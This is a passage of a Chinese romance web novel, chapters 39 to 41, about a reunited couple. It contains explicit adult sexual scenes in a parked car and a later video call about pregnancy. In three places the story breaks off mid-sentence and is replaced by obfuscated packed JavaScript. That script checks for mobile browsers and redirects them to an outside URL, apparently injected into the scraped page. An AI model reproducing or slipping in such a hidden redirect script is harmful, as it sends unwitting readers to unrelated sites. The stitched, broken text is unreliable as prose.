她虽身材纤细,却是个一米七多的成年女性,并且牙齿尖利。她借着身体的冲劲,并不温柔地啃咬他。 两人唇齿相撞,沈湛明皱眉闷哼一声,被她吻得头颅后仰,他方才还张口想要说话,因此薄唇轻启着,她的舌尖趁此机会灵巧探入,舔着他的舌。 他的唇腔内有茶水的味道,夏曈尝到了涩意,而后才是淡淡的香。她闭上眼,在他唇舌汲取这点微末的滋味。 沈湛明很快被她的吻技带动,灼热的气息喷洒在她的脸颊。他伸臂搂住她的腰,另只手握住她的后颈,将她按向自己的方向,同时缠住她已经试图逃离的舌尖,堪称粗暴的回吻。 她的身上有很深的香味,而随她一起袭来的,是车外冬夜的寒冷气流。沈湛明首先感知她唇瓣和脸颊的微凉,吻了将近半分钟之后,才发觉掌心之下,她明显单薄的衣衫。 他抬手,虎口卡住她的下巴,将她推远,暂时中断了这个吻。目光旋即下落,借助车外透过来的隐约光亮,看清了她此刻的穿着。 单薄的衬衫和羊绒衫,下面一件格子百褶短裙。 夏曈两只手抓住他的手腕,挣扎着想凑过去继续吻他,却无法撼动沈湛明的腕力,不满道:“这么好看么,你都看多久了?” 沈湛明根本不关心她的穿搭。 他皱起眉头,掌心触摸到她大腿的细腻肌肤,眉宇间方才染上的情/欲化作愠怒。将近零下的温度,飘着雪,她连打底/裤都没穿,就这么光着腿跑来的。 “夏曈曈,你知道现在是零下吗?” 沈湛明将暖气打开,冷抿着唇,语气堪称质问,“等多久了,不觉得冷?” 夏曈原本半跪在副驾驶,两人之间有着高低的差别,沈湛明的脸正对着她的胸口。此时她有意示好,便慢慢矮身往他怀里挤,“也没多久,我还没觉得冷。” 小骗子。 沈湛明被她哄弄过多少次,已经不相信她的借口。 此时车内暖意尚且不足,他便将外套脱下来,盖在她身上,随后将她抱在怀里箍着,冷声道:“我看你是又想生病吃药。” 沈湛明本身就体热,开车时甚至不必打开暖气,便可以抵御寒冷。 两人上半身紧贴,他身体的热意透过并不厚的衣料传递到她身上。夏曈是在被他的体温烘热时,才慢半拍地感知到,方才她在车外有多寒冷的。 但她来这里不是为了让沈湛明抱着。 她挣扎着仰起脸,想去吻他。却因腰身都被他手臂箍住,她的活动范围有限,亲吻只能落在他的下巴。 沈湛明垂睫,看她像小猫一样,笨拙且生涩地亲吻。他眉宇间怒意未消,又有意享受她此刻的表现,只在她耐心耗尽,忍不住咬他时,才放松了手臂的力道,配合地低头,回吻住她的唇。 他们之间的亲吻,只要由他主导,便轻易从纯情的浅吻逐渐加深。 夏曈的手臂挣脱他的束缚,习惯性地向上,揽住他的脖颈。沈湛明不再限制她的动作,掌心覆在她的膝盖和小腿,慢慢搓热她冰冷的皮肤。 夏曈吻技不错,可肺活量很差,很快便萌生退却之意,试图将舌尖从他唇腔内退出。 沈湛明对她的一切都了如指掌,察觉到她的想法,在她逃离的前一秒,掌心倏地捏住她的后颈,按在怀里。 这个吻以夏曈的近乎窒息而短暂结束。 夏曈垂下眼,剧烈喘息。 她的唇瓣和脸颊都是殷红,唇角有晶亮的湿润。沈湛明吻去那点湿意,又侧头在她脸颊用力亲了一下,向后慢慢退开,靠在椅背上,转头看向窗外飘落的细雪。 他的气息同样紊乱,不再看她此刻的模样。似乎并未能从方才激烈的吻里抽离,也无法保证接下来能控制住自己不在车上对她做些什么。 车厢内的温度骤然燥热,从微冷到暖意充盈,似乎只用了极为短暂的一瞬间,他们都不记得吻了多久,也没察觉温度何时上升到这种程度。 夏曈的身上还披着他的外套,此刻脸颊潮红,鬓角湿润,不知是热,还是其他。 “你来找我就为了这个吗?” 沈湛明重新将目光落在她脸上,低声问,“还是想做别的?” 他的掌心还贴在她的膝盖,克制着,并未向上移动,“车里没有套。” 语气很轻,像是在阻止她,也像是在警告他自己。 夏曈并未回答,而是将他的外套脱掉。 车厢里已经很热,因此沈湛明没再制止。 夏曈仍半跪在副驾驶,揽住他的脖颈,满头未束的发丝随着她俯身的动作下垂,拂在沈湛明的胸膛和脖颈。 一个即将吻他的姿势。 沈湛明的身体已经有了反应,他什么都不能对她做,可既然她还要,便配合地抬头。 却在此时,夏曈显露出她任性的一面。 她的指腹抵在他的唇,眼眸在昏暗车厢内亮晶晶的,“你不要动。” 沈湛明看着她,听话地不再动。 她一定是刚洗过澡,发丝的香味偏冷淡,身上皮肤涂抹了玫瑰粉胡椒味的身体乳,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏曈伸手打开车门,动作极快地下了车。 沈湛明侧头看她,对视的一秒内,明白了她的意思。 他沉默两秒,“这么记仇?” 他的上半身近乎裸着,是她亲手扒的,用来报复他除夕那天解开了她的扣子。 “不然呢?”夏曈眨眼,微笑道,“沈湛明,我才不想和你在这里发生什么。” 她用力将车门关闭,转身往院里走,神情带着得逞者的狡黠,仿佛方才被吻到近乎窒息的不是她。 沈湛明被她撩拨出一身躁意,说不生气是假的。追上她?亦或自己冷静?他不准备在今晚和她做,即便要做,也不该在这种敷衍的地方。 沈湛明抬手轻捏鼻梁,选择了自己冷静。 他压抑的时刻太多了,不差这一次。 却在眼角余光瞥见那件被她丢在副驾驶的外套上时,迅速改变主意。 他抬眸看了眼后视镜,夏曈侧着身子,手臂半举保持平衡,还在全神贯注地溜冰。 沈湛明:“……” 他捞过外套,下车去追。 这个夏曈曈,就这么光着腿走回去,连他的外套都不穿。 还在溜冰! 沈湛明本就憋得难受,此时怒火与欲/火纠缠,使得他眉眼都染上戾意。 他身高腿长,有意加快步伐,没多久就在院门处的树影里追上夏曈,动作强势地将外套裹在她身上,“穿好了。” 他下车仓促,身上薄毛衣仅扣了一粒,完全没在意自己的胸腹基本在外露着。 夏曈的视线上下扫了一眼,做出惊讶的表情,“哇,湛明哥,没想到你还有这种癖好。” 沈湛明一听这话,微眯起眼。 她伸出手指戳了戳,不怕死地继续挑衅,“幸好现在路上没人,不然你会被骂暴露狂的……” 沈湛明原本都准备放她回家了。 “夏曈,”他声音低沉,暗含警告,“你今天一定要惹点事情,是不是?” 夏曈有恃无恐,挑眉轻笑,“你不是说车里没套吗?” 她的身影被夜色笼罩,唯有那双眼睛极亮,灼灼如寒夜飞星。 这通常是她坏事得逞后的表情。 而她此刻之所以得意,是因为沈湛明的确不能对她怎么样。 但是。 沈湛明眼眸晦深,拽住她的手腕,“没套就不能做别的么?” 夏曈惊讶一瞬,随即抿唇笑,“不能。” “为什么?” 夏曈试图挣脱他的手,继续往院里走,“因为我困了,想要回家睡觉。” 沈湛明一点都不困。 相反,他此刻精神高度兴奋。这种兴奋也诚实地反应在身体上,即便在寒冷的冬夜里站了两分钟,也未能完全消退。 他不冷不热地轻笑出声,“曈曈,你犯困的时候可不是这种眼神。” 双眸晶亮,盈盈含水。 却都是坏水。 夏曈的心思被他戳破,下意识就要跑,她用力甩开他的手,也不知怎的,沈湛明似乎放松了力道,真叫她挣脱了去。 地面积雪薄冰,靴底踩上去有种不受控的飞跃感。夏曈不敢走快,结果没走出几步,就被沈湛明追上来,手腕再次被抓住。 夏曈跟他挣扎几下,再次将他推开。 如此反复,等两人一跑一追地到了院门口,夏曈已经没了多少力气。 沈湛明走到夏曈身后,不再理会她的反抗,将她整个人拦腰抱起,转身大步走向车子。 夏曈一只手勾住他的脖子保持平衡,另只手还抓着裙角,避免走光。 直到沈湛明将她放在后座,她的气息都没喘匀。 沈湛明跟着坐上来,反手关门,将落雪和寒意一齐推出车外。 夏曈仰倒在后座,两只靴子都被沈湛明脱下来,丢在一旁。她的脚踩在座椅,腿部弯曲,格子短裙就随动作落到腿根。 她撑着胳膊起身,沈湛明灼热的掌心已经掌住她的膝盖骨。 他气息亦有微乱,指腹摩挲她的肌肤,意味明显,“每次都是嘴上逞能,真实践时,又撑不过三分钟。” 夏曈后颈的寒毛都竖起来了,缩着身子后退。 沈湛明按住她试图并紧的腿,在她不甘的注视里慢慢俯身,说话时热气倾洒,“曈曈,你这次又能撑多久?” 40. 第 40 章 深夜的梧桐道没有人经过。 小雪落得安静,车厢内静谧封闭,因此那轻微的水声便被无限放大,显得尤其黏/腻缠绵。 夏曈无力地躺在后座,方才的嚣张气焰已被翻涌的潮水彻底扑灭。 她瞳眸含泪,脸颊泛起不正常的潮/红,柔亮顺滑的发丝流淌倾泻,一只手在唇齿间咬着,另只手则是无意识向下探,抓住沈湛明的头发。 她的腿部皮肤还有晚上涂抹的身体乳,并未完全吸收,此时被身体的热度和汗意蒸腾,便尤为滑腻。她身上的香味也在车里一蓬蓬扩散,让彼此本就不多的理智更加摇摇欲坠。 沈湛明捞起她的腿,要她缠住他的腰,却总是抓不牢。他试了几次都没成功,耐心告罄,随后一掌拍在她身上。 清脆的巴掌声响在静谧又狭小的空间,夏曈感到羞耻,咬着手指不禁轻微颤抖。 沈湛明略微皱眉,“抹这么多干什么?” 此时,夏曈浑身的感受和神经都被他的唇舌与指腹挑动,有种将性命悬系在他指尖的脆弱感。 她恍惚觉得自己是被制伏的猎物,而猎手伏在她身上,对她实施一种可称为“服侍”的行为。他并没有狠意,也不危险,却让她觉得不公。 凭什么他可以掌控她,而她却只能躺在这里任由施为? 因此看到他受挫,夏曈便觉得微小的痛快,她耳根红热,不甘示弱地反击,“我乐意。” 沈湛明抬起身,眸光晦暗地看她一眼,随手抓过放在副驾驶的围巾,折了几下,给夏曈垫着,“我看你待会还乐不乐意。” 夏曈不服,却在他的技巧中逐渐无法控制自己的声音。 轿厢里暖气还开着,温度高得好像春天。车子内外温差过大,窗玻璃因此蒙上一层白雾,夏曈的视野也变得模糊。她脑子昏昏的,在到达某个临界点之前,下意识就要躲,沈湛明按住她的力道加大,逼迫她感受他的存在。 车厢内本来只有她身上的玫瑰香,此时却染了淡淡的海风气息。 过了不知多久,夏曈才缓慢回神。 她喘息急促,脸颊、脖颈和锁骨都染上玫瑰般瑰丽的红,躺在后座好像死过一次。 沈湛明直起身。 即便此时光线昏暗,仍能看清他唇角的湿润晶亮,以及被她抓乱了的头发。 他眯起眼,先摸了摸她潮热柔软的脸颊,才轻笑出声,“你就这点出息。” 夏曈被嘲笑过许多次,但她一次也没能支棱起来,耐力只有这么多,她也很无奈啊。 此时被他笑,她抬腿在他腹部踢了下,他没怎么样,她却因忽然拉扯的动作而险些再次抽筋。 沈湛明握住她的小腿,力道合适地揉了揉,随后稍觉好笑地安抚:“乖。” 夏曈的视野仍氤氲着,看不清他眼里的笑意。但听到他如此哄,她勉强不再较真。 沈湛明抽出湿巾。 他先给她收拾干净,才去擦自己满是水渍的嘴唇和下巴,旋即俯身去吻她的唇。 夏曈在他吻过来的前一秒迅速扭头,抿着唇,无言拒绝。 沈湛明顿住,吻落在她咬在唇边的手指。 他在那牙印上亲了亲,低声无奈:“怎么连自己的东西都嫌弃。” 夏曈回想起方才,她被他半逼半哄地说了许多话。虽说他们所处位置隐蔽,车厢密闭,他们做的事不会被外面看见,可她仍觉得羞耻。 “你刚才咬到我了。你的胡子也扎到得我有点疼。” 她闭着眼,低声抱怨。 她的小腿还搭在他的腿上,皮肤上有个极浅的指印。 那里的肌肤尤为娇嫩,而沈湛明的胡茬一天未刮,此时已经冒头,给她带来细密的刺痛。 她看不到,但男人的胡子很硬,一定会蹭得她皮肤发红。 “嗯,”沈湛明嗓音低哑,“我故意的。” 夏曈有点生气,此刻却困意更多。 她不满地嘟囔,“你混蛋。” 沈湛明反问,“不是刚才还叫我哥哥?” 那不是被你逼迫的吗! 夏曈闭眼装死,不接茬。 她听到皮带解开的声音,随后是他低低的喘/息声。 沈湛明还没给她穿衣服,不知要晾着她做什么。 她的格子裙还堆叠在肚子上,虽不至于受冻,但她总觉得不对劲。 夏曈抬起头。 就见沈湛明眸光低垂,视线落在她身上,一手抓握她的小腿,一手收拾自己。 …… 夏曈脸颊蓦地烘热。 她闭上眼,宁愿没看到这场面。 她平复着呼吸,半分钟后睁开眼,眼珠微转,看那条被弄湿的格子围巾,放空大脑发呆,好像没听到他那里的声音。 她方才缺水,现在有点渴,可是沈湛明总不结束。她听到他低低的喘/息,沈湛明平时沉默寡言,惜字如金,即使在这种时刻,也不会说什么话助兴,至多会发出隐忍的声音,扶着她的脸,教她喊哥哥,亦或老公。 这恰好符合夏曈的性/癖。 她喜欢他隐忍克制的声音,尤其当他低在她耳畔时。 如果他还能说点别的,那也可以啦。 夏曈等了许久,逐渐有些难耐。 若是沈湛明真的自己收拾,她才不理会,可此刻的他,是看着她,动手的。 夏曈小声抗议,“你一定要看着我吗……” 沈湛明沉默片刻,俯身,手臂穿过她的腰背,将她捞起来,放在自己腿上。 夏曈惊了一瞬,大腿离热源仅有半掌的距离,她慌乱后撤,被他按住不许动。 “你可以把我的眼睛蒙上,”沈湛明的声音沙哑,低低响在她耳畔,“这样我就看不见你了。” 夏曈的脸颊被他灼热的气息烫红,想了想,伸手解开他的领带。 沈湛明凝视着她,眼眸深黑,带着浓重的欲。 夏曈此刻已经处于贤者时间,只想睡觉,并不太敢与欲/望正盛的男人对视,她没有半分犹豫,以领带蒙住他的眼睛,手指在他脑后,将领带打了个结。 将要收回手的时候,夏曈的手腕忽被攥住,被他带动着,放在热源上。 仅是轻微触碰,夏曈便不免心惊。 她咬着唇,柔软的手心很快被沾湿。沈湛明向后仰靠,眉眼被领结遮住,少了许多掠夺的危险性,然而那挺直的鼻梁、微抿的薄唇,以及不住滚动的喉结,仍让夏曈耳根红热。 她喜欢的,既有沈湛明的成熟与稳重,也有他在这种时刻里的隐忍与疯狂。 她就是要撕碎他的冷漠、平静与克制。 譬如此刻,他在她的手里灼硬、又脆弱。 即使有他的手掌带动,夏曈的手腕仍发酸。她小声催促:“你快点呀。” 沈湛明抿着唇,掌心从她的衣物下摆探入,今晚第一次触摸她的腰与脊背。 夏曈怔了瞬,“你不许亲我。” “嗯,”沈湛明的声音低哑,偏温柔,手上力道却重,“不亲。” 又不知等了多久,夏曈已经用视线将围巾上的格子来回描摹几百次,他才摘下蒙眼的领结,伸手去抽湿巾,替她将指缝擦得干干净净。 车厢内弥漫起另一股味道。沈湛明将车窗打开一条缝,不至于冷,但可以让味道逐渐散去。他将夏曈揽在怀里,吻她的发际。 夏曈抬头看他,对他的不守信感到怨怒:“不要亲了,我想喝水。” 车里有矿泉水,但夏曈拒绝,“我要喝加了蜂蜜的热水。” 沈湛明似乎还想和她待一会儿。 他们并没有事后温存。夏曈的“事后”被他抱了很久,已经不需要什么温存与触碰。可沈湛明似乎想要。 但沈湛明听到这话,也并不强求。 他坚持让夏曈穿着他的外套,夏曈手足酸软,反抗无果,只好被他按着肩膀,穿上他那件黑色外套。 沈湛明低眸,仔细地给她扣好扣子,又将袖子和衣领扯了扯,确保不会有一丝冷风钻入,才放她下车。 他的外套宽大,夏曈的手指完全藏在袖子里,“……把我衬成了五五分。” “那就自己穿厚点。” 夏曈皱着脸,没想到反驳的言辞,只好保持沉默。 沈湛明揽住她,以身体替她挡住吹来的冷风。 两人踩着树影进院,走在那条种满梧桐树的砖道上。夏曈倒是没觉得冷,好奇地去抓他的手指。他穿这么薄,手掌竟然也是温热的。 沈湛明以为她是结束后习惯性地感到不安,便侧头吻她的发际,与她手指相扣,“乖乖。” “你的手好热,”夏曈抬头问,“你不会觉得冷吗?” 她的眼珠乌亮湿润,脸颊还有未消退的红,唇瓣也是被他吻肿的红。 风雪无声,天地静谧,清亮的月光斜斜倾洒下来,照在她的身上。 沈湛明低眸看她,沉默两秒后,低头吻住她的唇。 两人的额头相抵,鼻尖轻轻碰着,比方才在车里更亲密地接吻。夏曈在他的口腔里尝到了自己的味道,她微微拧眉,又要躲避。沈湛明握住她的后颈,像是捏着一只不安分的小猫,吻得更深入。 夏曈咬他舌尖,沈湛明不松手,她又抬手打他一下,他这才放开,轻声哄着,“也没那么难以接受,对不对?有点你用那款沐浴露的味道。” 夏曈脸红透了,“……谁跟你讲这个。” 他皮肤冷白,眉眼深浓,薄唇微红,淡笑的模样比净澈雪光更吸人目光。 夏曈看着他,轻轻眨眼,有时真觉得自己是色令智昏的昏君,对他生再大的气,看看那张脸就基本气消了。 可是这事也怪沈湛明,谁让他生得好看。她身为一个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏曈双眸大睁,在他认真探究的眼神里逐渐败下阵来,“啊,其实还好……” 沈湛明点头,“我记住了。” 夏曈耳根红得滴血,“其实你不记住也可以……” 沈湛明沉默,直到他们走到楼下时,才淡声开口,“这种事你都可以跟我讲,只要不损害你的健康,我都可以。” 夏曈垂着睫,脸颊热意仍未退去。 “至于我们之间的关系,曈曈,我明天要回S市,之后六天我们都不会再见面。”沈湛明俯身,在她眼尾吻了下,“也就是说,你还有六天的考虑时间,在那之后,我希望你能给我肯定的答复。” 夏曈扬起脸,“我现在就可以给你答复。” 沈湛明低眸看她,“你想好再说。反正我只和你做那些事,别人都不行。” 夏曈小声与他商量,“那我们可以暂时维持这种关系吗?” 什么关系?只亲吻做/爱的关系? 那他成什么了? 沈湛明淡声拒绝,“不可以。” 夏曈扭过脸,不肯在这种时刻与他谈什么复合。 沈湛明很了解她,她的想法已经发生了转变,她只是别扭。 他清楚她的心事,也知道应该在一个彼此都冷静的时刻,与她认真谈谈。 譬如今晚就是个合适的时间。 他饮了茶水,头脑清醒,也足够耐心。可她一凑近就吻他,湿润的、刻意挑/逗的吻,如同在车厢里投放一把烈火,燎原遍野,烧得他头脑发昏。他本就隐忍许久,一年多的时间没碰过她,她甫一靠近,他就不可控制地起了反应,随后便是理智彻底崩盘。 他额角青筋跳动,在那场疯狂里唯一能牵扯出的理智,就是没在车上真的和她做。 沈湛明给她时间考虑。 也许在这六天内,她可以做到思虑清楚。 但夏曈的想法向来难以测度。 沈湛明必须抛出点什么,以吸引她的注意,以免她在这短暂的六天反悔。 他俯身在她耳畔,低声道,“即使是在床上,我们也更和谐,不是吗?” 夏曈抿唇,不想承认这一点。 却又无法反驳。 她第一次是和他,后来六年里的每一次都是和他。她的一切都被他熟记于心,也能在他那里获得最好的体验。 “喜欢在床上听那种话,还是有别的喜好,都可以。” 他将她揽在怀里,“等回去后,我把东西都准备好,我们再试试,嗯?” 夏曈之前总觉得沈湛明冷漠严肃,充满令她讨厌的控制欲。可从小到大,他对她一直是这种温柔的语气。 她只是刻意地遗忘了。 仿佛只要不记得他的好,就可以心安理得地离开他。 得不到她的回应,沈湛明低头,轻吻她的唇。 夏曈的回应方式是咬他,将他的下唇咬出了血。 作为小小的报复。 但无论如何,她总算是松了口:“我要考虑一下。” 沈湛明说好,亲亲她的头发,又叹息般道:“乖乖。” 41. 第 41 章 清晨初醒,日光清寒。 窗帘留出一道缝隙,灿金色的阳光斜斜照射在床榻,夏曈在睡梦中忍不住蹙眉,翻身埋进被子里。 沈湛明的消息就是在这时发过来。 夏曈被提示音吵醒,烦躁地摸到手机,眯起眼看。 曈曈,我先回S市,你在家好好吃饭,出门时多穿衣服,不要光腿。汤圆暂时留在我爸妈家,让它陪你玩,八号我再过去接。 夏曈还不太清醒,抱着手机没回复,就见沈湛明那边正在输入中。 于是她静等几秒,沈湛明的第二条消息发了过来: 记得给我发消息,发什么都好。 夏曈清醒了大半。 她从被窝里坐起身,揉了揉脑袋,纠结片刻,实在不知该说什么,打字道:嗯。 不对! 她皱着脸打字:我才没那个时间给你发…… 沈湛明的语音发了过来。 夏曈犹豫一秒,点开播放。 他的嗓音低沉微哑,蕴着温柔:“起来吃饭吧,乖乖。” 夏曈有点起床气,但听到这句话,眉目仍不自觉地舒展开。 这种语气,让她回想起他们同居那时,沈湛明就经常这么哄她起床。 他会买来她喜欢的蟹粉小笼,然后把她从被窝里挖出来,催她去洗漱吃饭。 夏曈早晨一般都没什么胃口,吃饭慢得堪比吃药。沈湛明不着急上班的时候,也能看着她吃,避免她将早饭喂给汤圆,自己却偷偷摄入一些无营养的食物。 夏曈摸了摸莫名发热的耳朵,抿唇反驳:谁是你乖乖? 沈湛明不跟她理论这个,总归她傲娇不是一两天。 他的声音里带了点笑意:“我要开车了,晚上我们打视频好吗?” 谁要跟你打视频! 夏曈歪倒在被子里,急得直蹬腿。 - 沈湛明没有等到夏曈的回复,便推测出她是气着气着又睡过去了,因此不再打扰。 她总是这样,长期作息不规律导致精力受损,清晨初醒时总会迷糊,很容易就再次睡过去。沈湛明要花费至少五分钟把她从被子里捞出来,她才会像树袋熊一样挂在他身上,乖乖去吃早饭。 两人同居时,沈湛明将她的生活习惯纠正许多,那段时间她的气色红润,眼瞳清亮,唇色亦是健康的蔷薇色。 可是分开一年,她就又回到当初。 沈湛明不否认她缺乏自制力,但显然,那个谢桁也不懂得如何照顾好她。 沈湛明想到此处,收回思绪。 返回S市的路程很枯燥,因为没有夏曈在副驾座吃零食说话,和汤圆、胶布聊天。沈湛明以往通勤都是一个人,早就习惯了安静开车,此刻却觉得这份安静有些难以忍受。 副驾座放置着一条围巾,昨晚垫在她的身下,被她沾湿得不成样子,沈湛明将它洗净烘干后,又放回了车里。 围巾干净整洁,已经看不出异样。其实可以放在家里的,沈湛明不缺这条围巾,也并不常戴。只是这围巾沾染过她的汗水与体/液,他便觉得是私有物品,只许他处理,而不应该被任何人看到、触摸。 “任何人”,包括他的父母。 车厢内还萦绕着似有若无的香味,是昨晚从夏曈身体里蒸腾出的淡淡玫瑰香。 前方路口是红灯,漫长的85秒,沈湛明望向窗外,任由脑海里浮现出昨晚夏曈的样子。 她倒在后座,红唇微张,细眉轻蹙,被他逼出满身滑腻的汗水,乌亮细韧的发丝松散垂落,被车窗外微弱的光线映照,如流淌的瑰丽星河。 沈湛明自认为没有对她下狠手,但她却承受不住,尖巧的指甲掐进他的臂肌。印下的月牙痕迹,此刻仍未消退,被衬衫布料摩擦出细微的痛意。 沈湛明原本不觉得自己欲/望深重。 曾经夏曈控诉他太频繁,他念及她年纪弱,只是降低了频率,并没有告诉她,那已经是他克制隐忍后的结果。即便是在昨晚,他也没想过就和夏曈发生点什么——被她以那种热烈的吻法压住后,他的第一反应仍是她居然敢在零下的天气光腿出门。 可昨晚,当他真切地触到她、吻到她,沈湛明才恍然惊觉:他以为自己在过去的一年里,忍耐成了习惯,性/事于他而言,已经可有可无,实则只不过是还没有吻过她。 如果他们从不相识、从未相恋,也许沈湛明可以做到一辈子孤寡平淡如死水。 可夏曈爱过他。 他深知她有多好,从此以后,就都不可能再放手。 下午一点,沈湛明回到彻底空寂的家里。 微信里许多消息,工作和私人上的事情繁多,沈湛明扫了一眼,唯独和夏曈的聊天界面,还停留在早晨的状态。 简单吃过午饭后,科室打来电话,他换好衣服返回医院去忙,一直忙到天色黑透。 出了医院大楼,天地间茫茫一片,雪花轻盈如絮,无声无息地落下来。S市从未下过这么大的雪,沈湛明淋雪走出两步,终于松懈下来的精神才让他想起给夏曈打视频电话。 他取出手机,时间显示23点19分。 这个点,夏曈未必会睡,但毕竟很晚了,也许会打扰她酝酿睡意。沈湛明有意培养她的作息,坐到车上沉默了两秒,也没能拨出这个电话。 雪花漫天飞扬,看似轻盈,坠落在车顶却能发出轻微的声响。在这极度的静谧中,沈湛明垂眸沉默,疲倦渐渐涌上来,明天是早班,还要开会,他应该回家休息,而不是在这里纠结等待。 他简短回了几条工作微信,习惯性地再往上翻,却见院里小伙伴的群里,忽然有条新消息。 夏曈发的,时间是刚刚。 沈湛明点开看,是胶布困得打哈欠的照片。 这个群里汇集了他们的同辈们,足足有四十多人,一般有大事才在群里通知,平时很少有人说话。 夏曈喜欢在她的闺蜜群里聊天,更不会在这个群里发言。 沈湛明则是直接把这个群屏蔽了。 但,这是唯一一个他们都在的群。 沈湛明低眸,瞬间猜到她的小心思。 但他刚要在对话框打字,夏曈已经将那条消息撤回。 群里干干净净,沈湛明的指尖悬在屏幕上方,视线所及,唯有她撤回消息的痕迹。 沈湛明退出群聊界面,给她拨去视频邀请。 夏曈在两秒之前,才刚撤回一条消息,她此刻必定是将手机放在身边。可沈湛明却等了将近十秒,才看到她的脸。 淡黄的床头光线带着暖意,夏曈侧躺在柔软的被窝,眼睫轻阖看向屏幕,是睡意朦胧的样子。 胶布睡在她身边,蓬软的脑袋挨着她的下巴。 沈湛明在雪地里走了一遭,周身冷寒,车里也没有开空调,温度很低。但此刻见到屏幕里她的模样,却觉暖意融融。 “你怎么还在车里啊,难道还没有回家吗?” 夏曈的脸被小猫遮住一半,轻声问。 沈湛明坐在驾驶座,车内并未开灯,唯有窗外冰冷清透的雪光透进来,投射在他冷隽分明的侧脸。 “正准备回去。” 沈湛明默了瞬,看她有些倦意的眼神,“曈曈,抱歉,这个视频打得太晚了。” 她将脸更深地躲在小猫后,只露出一双眼睛,轻声说:“不用抱歉啊,反正我也没在等你的视频。” 似是怕他不信,她想了想,又补充道:“我这几天在追剧,本来就晚睡,才不是为了等你。” 沈湛明静静看着屏幕里的她。她垂着睫,乌黑漂亮的眼珠都不与他对视。 以往她闹别扭又不肯承认时,就是这副表情。 而他千万不可以戳穿她。 沈湛明不再追问,也不提方才她把消息发错群的事,只温声问,“今天做什么了?” 隔着屏幕,仍能看到夜灯为夏曈的脸颊镀上一层柔软洁净的光芒。 “也没做什么。吃零食、看电影、和人聊天。” 夏曈的家庭关系简单,没有那么多亲戚需要走,这个年过得轻松融洽,不会在餐桌上见到网络上调侃的那种糟心现象。 也因为如此,夏、沈两家才关系密切,彼此都把对方当做亲人。 夏曈的声音很小,像是怕惊醒怀里的小猫,“中午舅舅舅妈来家里吃饭,听他们说舅妈怀孕了,已经五个多月。哇,我完全看不出来,舅妈穿的是一件毛衣,不太显身材,我刚开始只以为她是长了点肉呢。” 自去年雪天的晚上,他们共同吃过一顿晚饭后,她在他面前就恢复到原本放松的状态,且话痨,想到什么就会漫无目的一直讲下去。 沈湛明见她换了个姿势,半侧身子躺着,放松而漫不经心地看向墙边书柜,“舅妈以前是很注意身材的人,居然也会为了生一个小孩把自己变胖……她还让我摸她的肚子呢,但我什么也没有感受到。沈湛明,五个月的小宝宝会有胎动吗?” 她眨眨眼,神情充满好奇。 沈湛明看着她,被工作摧磨冷硬的一颗心柔软到不可思议的程度。 他轻声道:“会有的,18-20周基本就会出现胎动。” “啊,”夏曈扁嘴,露出些许遗憾的表情,“那我怎么感觉不到她呢?是不是因为她对我没有感觉?” 沈湛明勾唇,“她可能在睡觉。” 夏曈听到这句话,不知想起什么,弯眸开始笑。 她的笑点很奇怪,概因她原本的思维有些发散,总是联想到一些莫名的东西。 沈湛明对此早已习惯。 他大部分时候都不理解她平时接触的那些东西,尽管有花费时间专门去了解,但仍get不到好笑的点。也许他天性如此,严谨、冷静却枯燥无味。不如她,身上总有着年轻人的天马行空和无穷乐趣。 此时,沈湛明看着她,眉眼微微无奈。 胶布被夏曈笑醒,疑惑地抬头看她,喵呜一声,换了姿势又睡了。 夏曈收拢思绪,沉默一瞬,叹息道:“沈湛明,我也要有妹妹了,好神奇啊。” 沈湛明好奇问:“你怎么知道是妹妹?” “因为我想要妹妹呀,”她理直气壮,“我才不要弟弟,吵得要命,又没有共同语言。而且舅妈也说了,她想要女儿。” 沈湛明颔首,又听她说道,“可是不管弟弟还是妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469404|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹,舅妈怀孕都很辛苦,她今天悄悄告诉我,她现在走路的时候都好像在做负重训练,而且听说孕晚期都不能躺着睡觉。” 她停顿几秒,忽地叹息,“在这些事上,女性总是承受更多。” 沈湛明默然。 这些事他并非不懂。 他平时在忙碌间隙也会听到有关妇产科的见闻。很割裂的是,在医院这种强调科学与严谨的地方,仍有人的思想保守、愚昧到难以理解的地步,以至于连医生的话都不相信,而选择传承下来的“智慧”。 他作为男性,天生就不必承担诞育子嗣的肉/体痛楚,因此没有资格在这种事上发言。但同时,他也不想庆幸什么。在游戏规则的束缚下,参与其中的每个玩家都是受害者。 氛围莫名沉重几分,夏曈抬眸望着天花板,像是自言自语,“我始终觉得怀孕生子是一件很辛苦的事。” 并且,辛苦就是辛苦,辛苦不会因为常见、因为“自古以来每个女人都是这么过来的”,就变得不值一提,就变得稀松平常,就需要每个女性都必须咬紧牙关忍受它,而不能有任何流泪与怨言,否则就是矫情。 夏曈很少和好朋友说这些。总有向往婚姻与生育的人,她输出自己的观点,并不会收获认同与支持。 但也许因为夜深,也许因为对方是沈湛明,夏曈可以将心事全盘托出。 她在他面前从不隐匿自己的想法,不管说什么、想什么,他都可以稳稳接住。 夏曈不是一定要他的认同与支持,有时她只是想“诉说”,并且在诉说的过程中整理自己的思绪。而沈湛明是一个很好的倾听者。 “沈湛明,我觉得敢生小宝宝的人都很伟大。但同时,世上没有任何一个人值得我付出这些,即便那个人是我的孩子。” 夏曈思索片刻,下了定论。 